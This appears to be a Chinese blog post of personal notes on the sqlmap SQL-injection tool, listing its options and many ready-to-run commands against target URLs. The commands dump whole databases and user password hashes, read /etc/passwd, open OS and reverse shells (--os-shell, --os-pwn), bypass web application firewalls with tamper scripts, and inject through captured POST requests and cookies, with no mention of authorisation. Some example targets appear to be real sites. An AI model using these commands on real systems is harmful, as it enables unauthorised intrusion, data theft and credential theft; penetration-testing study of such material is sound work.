笔记--sqlmap的基本命令

①选项

-h,--help  显示基本帮助信息并退出
-hh  显示高级帮助信息并退出
--version  显示程序版本信息并退出

②目标

-u  目标URL  
例:sqlmap -u "www.abc.com/index.php?id=1"
-m  后接一个txt文件,文件中是多个url,sqlmap会自动化的检测其中的所有url。
例:sqlmap -m target.txt
-r  可以将一个post请求方式的数据包(bp抓包)保存在一个txt中,sqlmap会通过post方式检测目标。
例:sqlmap -r bp.txt

③请求

--method=METHOD 指定是get方法还是post方法。
例: --method=GET --method=POST
--random-agent  使用随机user-agent进行测试。sqlmap有一个文件中储存了各种各样的user-agent,文件在sqlmap/txt/user-agent.txt 在level>=3时会检测user-agent注入。
--proxy=PROXY 指定一个代理。
例: --proxy="127.0.0.1:8080" 使用GoAgent代理。

④注入

-p  测试参数
例:  sqlmap -r bp.txt -p "username"
--skip-static  跳过测试静态参数(有的时候注入有多个参数,那么有些无关紧要的参数修改后页面是没有变化的)
--no-cast  获取数据时,sqlmap会将所有数据转换成字符串,并用空格代替null。(这个在我们注入失败的时候偶尔会见到,提示尝试使用--no-cast)
--tamper=TAMPER 使用sqlmap自带的tamper,或者自己写的tamper,来混淆payload,通常用来绕过waf和ips。

⑤检测

--level=LEVEL  执行测试的等级(1-5,默认为1) 
lv2:cookie; lv3:user-agent,refere; lv5:host 
在sqlmap/xml/payloads文件内可以看见各个level发送的payload  我常使用--level 3
--risk=RISK  执行测试的风险(0-3,默认为1) 
risk 2:基于事件的测试;risk 3:or语句的测试;risk 4:update的测试
升高风险等级会增加数据被篡改的风险。  常用就是默认1

⑥枚举

-b, --banner        获取数据库管理系统的标识
--current-user      获取数据库管理系统当前用户
--current-db        获取数据库管理系统当前数据库
--hostname          获取数据库服务器的主机名称
--is-dba            检测DBMS当前用户是否DBA
--users             枚举数据库管理系统用户
--passwords         枚举数据库管理系统用户密码哈希
--privileges        枚举数据库管理系统用户的权限
--dbs               枚举数据库管理系统数据库
--tables           枚举DBMS数据库中的表
--columns           枚举DBMS数据库表列
-D                  要进行枚举的指定数据库名
-T                  要进行枚举的指定表名
-C                  要进行枚举的指定列名
--dump               转储数据库表项,查询字段值
--search             搜索列(S),表(S)和/或数据库名称(S)
--sql-query=QUERY   要执行的SQL语句
--sql-shell         提示交互式SQL的shell

⑦文件操作

--file-read=RFILE     从后端的数据库管理系统文件系统读取文件
--file-write=WFILE    编辑后端的数据库管理系统文件系统上的本地文件
--file-dest=DFILE     后端的数据库管理系统写入文件的绝对路径

⑧操作系统访问

--os-cmd=OSCMD       执行操作系统命令(OSCMD)
--os-shell          交互式的操作系统的shell

os-shell使用条件
网站必须是root权限(current_user()='root')
网站的绝对路径
GPC为off(默认为off)

⑨基本用法

./sqlmap.py -u “注入地址” -v 1 -–dbs   // 列举数据库
./sqlmap.py -u “注入地址” -v 1 -–current-db   // 当前数据库
./sqlmap.py -u “注入地址” -v 1 -–users    // 列数据库用户
./sqlmap.py -u “注入地址” -v 1 -–current-user  // 当前用户
./sqlmap.py -u “注入地址” -v 1 -–tables -D “数据库”   // 列举数据库的表名
./sqlmap.py -u “注入地址” -v 1 -–columns -T “表名” -D “数据库”   // 获取表的列名
./sqlmap.py -u “注入地址” -v 1 --count -D “数据库”   // 获取某个数据库某表的数据总和

./sqlmap.py -u “注入地址” -v 1 –dump -C “字段,字段” -T “表名” -D “数据库”   // 获取表中的数据,包含列
已经开始拖库了,SQLMAP是非常人性化的,它会将获取的数据存储sqlmap/output/中、、、
 
.检测时所用技术
--technique
B:Boolean-based blind(布尔型注入) 
E:Error-based(报错型注入) 
U:Union query-based(可联合查询注入) 
S:Stacked queries(可多语句查询注入) 
T:Time-based blind(基于时间延迟注入)
Q:Inline queries(嵌套查询注入)

2. sqlmap post注入
我们在使用Sqlmap进行post型注入时,
经常会出现请求遗漏导致注入失败的情况。
这里分享一个小技巧,即结合burpsuite来使用sqlmap,
用这种方法进行post注入测试会更准确,操作起来也非常容易。
1. 浏览器打开目标地址http:// www,2cto,com /Login.asp
2. 配置burp代理(127.0.0.1:8080)以拦截请求
3. 点击login表单的submit按钮
4. 如下图,这时候Burp会拦截到了我们的登录POST请求
5. 把这个post请求复制为txt, 我这命名为search-test.txt 然后把它放至sqlmap目录下
6. 运行sqlmap并使用如下命令:
./sqlmap.py -r search-test.txt -p tfUPass
这里参数-r 是让sqlmap加载我们的post请求rsearch-test.txt,
而-p 大家应该比较熟悉,指定注入用的参数。

3,sqlmap  cookies注入
sqlmap.py -u “http://127.0.0.1/base.php” –cookies “id=1″  –dbs –level 2


4. 默认情况下SQLMAP只支持GET/POST参数的注入测试,但是当使用–level 参数且数值>=2的时候也会检查cookie时面的参数,当>=3的时候将检查User-agent和Referer,那么这就很简单了,我 们直接在原有的基础上面加上 –level 2 即可
利用sqlmap cookies注入突破用户登录继续注入
先把用户登陆的cookie拿到吧,
在收藏夹添加一个链接cookies属性:
名字自己取
javascript:alert(document.cookie),,需要获取当前cookie的时候,
直接点一下这个链接,然后复制一下弹出对话框
里的cookie值就搞定了
sqlmap.py -u http://x.x.x.x/Down.aspx?tid=2 -p tid –dbms mssql –cookie=”info=username=test”
-p是指指定参数注入

5. sqlmap遇到url重写的注入
哪里存在注入就加上 * 号
1
./sqlmap.py -u “http://www,cunlide,com/id1/1*/id2/2“


6.sqlmap 编码绕waf注入
./sqlmap.py -u http://127.0.0.1/test.php?id=1 -v 3 –dbms “MySQL” –technique U -p id –batch –tamper “space2morehash.py”
在sqlmap 的 tamper目录下有很多space2morehash.py 编码脚本自行加载
 其他基础:
sqlmap -u “http://url/news?id=1” –level=3 –smart –dbms “Mysql” –current-user #获取当前用户名称
sqlmap -u “http://www.xxoo.com/news?id=1” –level=3 –smart –dbms “Mysql” –current-db  #获取当前数据库名称
sqlmap -u “http://www.xxoo.com/news?id=1” –level=3 –smart –dbms “Mysql”–tables  -D “db_name” #列表名
sqlmap -u “http://url/news?id=1” –level=3 –smart  –dbms “Mysql” –columns -T “tablename” users-D “db_name” -v 0 #列字段
sqlmap -u “http://url/news?id=1” –level=3 –smart –dbms “Mysql”  –dump  -C “column_name”  -T “table_name” -D “db_name” -v 0   #获取字段内容


--threads 10   设置线程


******************信息获取******************
sqlmap -u “ –smart –dbms “Mysql” –users  #列数据库用户  

sqlmap -u “ –smart –dbms “Mysql” –dbs#列数据库  

sqlmap -u “ –smart –dbms “Mysql”–passwords #数据库用户密码  

sqlmap -u “ –smart –dbms “Mysql”–passwords-U root  -v 0 #列出指定用户数据库密码  

sqlmap -u “ –smart –dbms “Mysql” –dump-all -v 0 #列出所有数据库所有表   

sqlmap -u “ –smart –dbms “Mysql”–privileges #查看权限  

sqlmap -u “ –smart –dbms “Mysql”–privileges -U root #查看指定用户权限  

sqlmap -u “ –smart –dbms “Mysql” --is-dba -v 1 #是否是数据库管理员  

sqlmap -u “ –smart –dbms “Mysql” –roles #枚举数据库用户角色  

sqlmap -u “ –smart –dbms “Mysql”–udf-inject #导入用户自定义函数(获取系统权限!)  

sqlmap -u “ –smart –dbms “Mysql”–dump-all –exclude-sysdbs -v 0 #列出当前库所有表  

sqlmap -u “ –smart –dbms “Mysql” –union-check #是否支持union 注入  

sqlmap -u “ –smart –dbms “Mysql”–union-cols #union 查询表记录  

sqlmap -u “ –smart –dbms “Mysql” –union-test #union 语句测试  

sqlmap -u “ –smart –dbms “Mysql” –union-use –banner #采用union 注入  

sqlmap -u “ –smart –dbms “Mysql”–union-test –union-tech orderby #union 配合 order by 
 
sqlmap -u “ –smart –dbms “Mysql”–method “POST” — data “id=1&cat=2″ #post注入  

sqlmap -u “ –smart –dbms “Mysql”–cookie “COOKIE_VALUE” #cookie注入  

sqlmap -u “ –smart –dbms “Mysql”-b #获取banner信息 

sqlmap -u “http://url/news?id=1” –level=3 –smart-v 1 -f #指纹判别数据库类型

sqlmap -u “http://url/news?id=1” –level=3 –smart–proxy”http://127.0.0.1:8118” #代理注入

sqlmap -u “http://url/news?id=1″–string”STRING_ON_TRUE_PAGE“  #指定关键词

sqlmap -u “ –smart –dbms “Mysql”–sql-shell #执行指定sql命令  

sqlmap -u “ –smart –dbms “Mysql”–file /etc/passwd  

sqlmap -u “ –smart –dbms “Mysql”–os-cmd=whoami #执行系统命令 sqlmap -u “ –smart –dbms “Mysql”–os-shell #系统交互shell  

sqlmap -u “ –smart –dbms “Mysql”–os-pwn #反弹shell  sqlmap -u “ –smart –dbms “Mysql”–reg-read #读取win系统注册表  

sqlmap -u “ –smart –dbms “Mysql” –dbs-o “sqlmap.log” #保存进度  

sqlmap -u “ –smart –dbms “Mysql” –dbs  -o “sqlmap.log” –resume  #恢复已保存进度 

⑩一些技巧

--technique=xx   清楚缓存重跑
 --search -T "%user%"    查找全部带 user的
 --technique=b    检测是否bool(布尔型)注入
 --random-agent   模拟浏览器访问
  --current-db  看当前库
--tamper=between    --tamper使用脚本过WAF   使用一个叫 between的脚本   作用:用between替换大于号(>)
 -v 3    -v 10 #看详细注入语句
 --level=5 --risk=3 # 使用级别5 风险级别3的语句 来尝试注入
 --flush-session     #刷新当前目标的会话文件

  • 0
    点赞
  • 2
    收藏
    觉得还不错? 一键收藏
  • 1
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值